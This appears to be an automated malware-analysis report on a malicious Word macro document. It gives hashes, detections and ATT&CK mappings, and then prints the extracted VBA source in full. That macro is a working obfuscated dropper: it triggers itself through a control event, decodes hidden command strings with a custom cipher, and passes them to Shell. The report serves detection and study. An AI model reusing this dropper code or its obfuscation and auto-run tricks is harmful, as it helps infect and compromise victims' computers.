Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 82952706f66aafd6…

MALICIOUS

Office (OLE)

83.0 KB Created: 2018-07-11 09:48:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: 9d0ac938740896433f9c9fdf37c317e2 SHA-1: 9a07aa495368a6d94530633e7e84e69146c2458a SHA-256: 82952706f66aafd681ef1d1b25517fdcde11f821a50ccfb717e848a82e2ea603
162 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros. The document body explicitly prompts the user to 'Enable Editing' and 'Enable Content', a common lure for macro-based malware. The VBA code includes a critical 'Shell()' call, indicating it's designed to execute arbitrary commands or download further payloads. ClamAV also identified it as a dropper.

Heuristics 5

  • ClamAV: Doc.Dropper.Agent-6607318-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6607318-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3365 bytes
SHA-256: 5ab9871b59804c2b9e1f148da0bec5b658e3051cfdf9b90118f2b0be808fc118
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "InkPicture1, 0, 0, MSINKAUTLib, InkPicture"
Private Sub InkPicture1_Resize(Left As Long, Top As Long, Right As Long, Bottom As Long)
test3 1, "roui"
End Sub


Attribute VB_Name = "Module2"
Function test2(ByRef text, dec, name)
text = text + dec + name
End Function

Function test3(tt, ByRef text)
If UserForm1.Label1 = osdif Then
tr = 12
UserForm1.TextBox3 = text
End If
End Function

Function osdif()
osdif = "1"
End Function

Attribute VB_Name = "Module1"
Function gnkruhl()
leng = 6 * Rnd() + 4
name1 = ""
For i = 1 To leng
num = 24 * Rnd() + 97
name1 = name1 + Chr(num)
Next i
gnkruhl = name1
End Function

Function DecodeString(text)
decode = ""
For i = 1 To Len(text)
decode = decode + tyokfuer(fghyut(Mid(text, i, 1)), 5)
Next i
DecodeString = decode
End Function

Function tyokfuer(num, key)
If num - key < 1 Then
tyokfuer = Mid(UserForm1.TextBox1, Len(UserForm1.TextBox1) + num - key, 1)
Else
tyokfuer = Mid(UserForm1.TextBox1, num - key, 1)
End If
End Function

Function fghyut(yuiuv)
gutjh = UserForm1.TextBox1
jkdhf8 = Len(gutjh)
For i = 1 To jkdhf8
If yuiuv = Mid(gutjh, i, 1) Then
fghyut = i
Else
yfiui = 1
End If
Next i
End Function

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{1A3C0837-91A4-433E-BC47-86C8CDB9B97D}{91DA2AA3-9887-48B7-B39D-3B71E1952AB7}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False


Private Sub TextBox1_Change()

End Sub

Private Sub TextBox2_Change()
Shell UserForm1.TextBox2, 0
End Sub

Private Sub TextBox3_Change()
sidfi
End Sub

Attribute VB_Name = "Module3"
Function sidfi()
name1 = gnkruhl()
dec2 = DecodeString("{.jpod(z,5\")
dec4 = DecodeString("_$$1p)g1|")
name2 = gnkruhl()
dec5 = DecodeString("%imi$$}:jphop gof/ijj5$$1p)g1|")
dec6 = DecodeString("%imi$$:-poa;")
dec7 = DecodeString("{$$xppg4[[uuu%ch)ij'ofu(gxho)h%/f)[biub%js/v$$}-/hp/x;")
dec8 = DecodeString("{$$xppg4[[gfjdpd""i/xh(zijfv%/f)[biub%js/v$$}-$]]535fsp ldbi5 i(/fkd(z5hj/dd5 ldbighpx51p)g1|")
name3 = gnkruhl()
name4 = gnkruhl()
text = ""
dec1 = ""
yhdakui dec1
test2 text, dec1, name1
test2 text, dec2, name2
test2 text, "", ""
test2 text, tyjbbc, name2
test2 text, "", ""
test2 text, dec4, name3
test2 text, "", ""
test2 text, dec5, name3
test2 text, "", ""
test2 text, dec6, name1
test2 text, "", ""
test2 text, dec7, name1
test2 text, "", ""
test2 text, dec8, name4
test2 text, "", ""
dec9 = DecodeString("%'hp:5jphop gof/ijj5$1p)g1|")
test2 text, "", ""
test2 text, dec9, name4
test2 text, "", ""
dec10 = DecodeString("%'hp$5 ud(kfujpabi5xdkki(]")
test2 text, dec10, ""
UserForm1.TextBox2 = text
End Function

Function tyjbbc()
tyjbbc = DecodeString("};{(iu f'ci/p5jajpi)%(ip%ui'/bdi(p}%kfu(bfhkldbi{\")
End Function

Function yhdakui(ByRef tref)
tyfuir = "/)k5[/5gfuiojxibb5]$gfuiojxibb5]]ls(/pdf(5"
tref = DecodeString(tyfuir)
End Function

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